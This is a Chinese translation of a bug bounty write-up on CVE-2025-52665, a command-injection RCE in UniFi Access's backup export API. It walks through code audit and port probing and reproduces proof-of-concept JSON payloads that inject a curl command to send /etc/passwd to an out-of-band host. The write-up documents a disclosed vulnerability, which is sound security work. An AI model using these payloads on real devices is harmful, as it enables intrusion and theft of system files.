白帽故事 · 2025年11月3日 0

【$25,000】CVE-2025-52665 – Unifi Access 中的 RCE

侦察

在对目标环境进行网络侦察时,识别到 192.168.1.1 上的一个活动主机。当通过浏览器访问此 IP 时,可以看到 UniFi OS 登录界面,确认该设备正在运行基于 UniFi 的系统,该系统是一款 UDM(UniFi Dream Machine SE)系列路由器。

登录界面

为了发现潜在的攻击面,测试人员转向了社区报告中备份操作和 API 行为相关的话题,发现多个论坛帖子提到了与以下端点相关的问题:
/api/ucore/backup/export

社区中搜索错误和 API 路径

可以看到许多用户在多个组件(保护、网络、uum 等)中遇到了 500 内部服务器错误、ECONNREFUSED 和备份失败。

这充分表明备份系统是模块化的,通过环回 API 与各种内部服务进行交互,并且/api/ucore/backup/export 在这些组件中普遍使用。

如果该端点仅可通过 127.0.0.1 访问,那么它如何被外部访问并利用?

代码审计

为了理解编排路径,我们拉取了一个UniFi Core版本,解压它,并在service.js内部追踪了“备份/导出”的引用。

两个函数使流程变得明确,第一个,YO,构建了一个指向导出路由的环回URL,并发送了一个包含单个字段dir的JSON body。

var YO = async (e, t) => {

  let r = `http://127.0.0.1:${e}/api/ucore/backup/export`,

      o = await k(r, {  
        method: "POST",

        body: JSON.stringify({ dir: t }),

        headers: { "Content-Type": "application/json" }

      });

  if (!o.ok) throw new Error(`Request to ${r} failed, status: ${o.status}, text: ${await o.text()}`)

};

JS源代码

这里(e)是为目标应用程序模块(例如,网络、访问或保护)选择的端口,而(t)是从调用者那里起源的目录路径。

在此边界处没有验证,(dir) 的值被序列化到命中内部导出处理程序的请求中。

zf = async ({ port: e, outputDir: t, name: r }) => {
    try {
        let o = await bu(r);                      // validate version
        if (!o) throw new Error(...);             // halt if invalid
        ...
        if (...) {
            // Backup handled by another device via API
            let i = await Te(n.mac).request({ type: "downloadBackup", name: r });
            let c = Qo.join(t, Ji);
            await _o.writeFile(c, i.body);
            await x({ cwd: t, file: c });         // decompress or move archive
        } else {
            await Fe(() => YO(e, t), ...);        // HERE: call the inner YO() function above
        }

        if (await Tu(t))                          // check if backup folder is empty
            throw new Error(`Backup directory for "${r}" is empty`);
        await J("chmod", ["-R", "775", t]);        // permission handling
        let s = await AEe(t);                      // call `du -s` to get backup size

        return { success: true, version: o, size: s };

    } catch (o) {
        return { success: false, err: _(o) };
    }
}

第二个函数,zf,是高级控制器,它决定是否从另一个控制台获取备份,或者通过调用 YO(port, outputDir)来触发本地导出。

在调用之前,它确保输出目录存在,并使用 chmod 777 设置其权限,然后,在导出返回后,它验证目录不为空,递归地修复权限,并使用 du -s 测量大小。

如果在过程中有任何失败,它将使用目标应用程序名称记录失败,并将错误消息向上传递。实际上,zf 将 outputDir 输入到 YO 中,YO 然后将相同的路径传递给运行在本地的导出端点。

流程图示

在审查 JS 代码后,测试人员得出结论,代码执行存在可能,编排器接受来自外部请求的 dir 值,将其原封不动地转发到 http://127.0.0.1:<appPort>/api/ucore/backup/export,然后导出处理程序在创建备份工作区(mktemp、chmod、tar)时构建 shell 命令,并插入该值。

由于 dir 没有进行验证或转义,shell 将其内部的元字符视为新命令。

漏洞利用

在枚举了 192.168.1.1 上的所有开放 TCP 端口后,测试人员运行了一个简短的循环来探测每个服务对路径/api/ucore/backup/export 的访问。

几个监听器返回了直接的 404,但端口 9780 回复了 405 Method Not Allowed。这个响应只有在路由存在但 HTTP 请求错误时才会发出,这表明处理程序可以从网络上访问,并且如果 POST 请求与协调器的请求匹配,它很可能会接受 POST 请求。

切换到了一个合适的 POST 请求,并设置了 Content-Type: application/json,复制在 service.js 中看到的 JSON 正文。

{"dir":"/tmp/catchify-lab; curl -s --data-binary @/etc/passwd http://test.oastify.com/"}

PoC请求

虽然成功使用分号跳出预期参数,但原始命令行的其余部分在执行curl后仍在解析,导致注入的命令在完成前出现解析或路径错误。

调整PoC,使其既能干净地终止注入的命令,又能通过注释来消除任何尾随的 shell 语法:

{
"dir":"/tmp/catchify-; curl -s --data-binary @/etc/passwd http://test.oastify.com/; #"
}

调整后的PoC

尾部空格干净地终止了 curl 注入命令,而井号#注释了原始行的其余部分。

通过调整, Collaborator 成功收到 HTTP POST 请求,从而顺利读取 到/etc/passwd

读取passwd

反弹shell

漏洞时间线

  • 漏洞报告提交:2025 年 10 月 9 日,18:14 UTC
  • 漏洞分类:2025 年 10 月 9 日,19:40 UTC
  • 漏洞修复,发布UniFi Access 4.0.21
  • 获得奖金,$25,000
  • 漏洞披露

原文:https://www.catchify.sa/post/cve-2025-52665-rce-in-unifi-os-25-000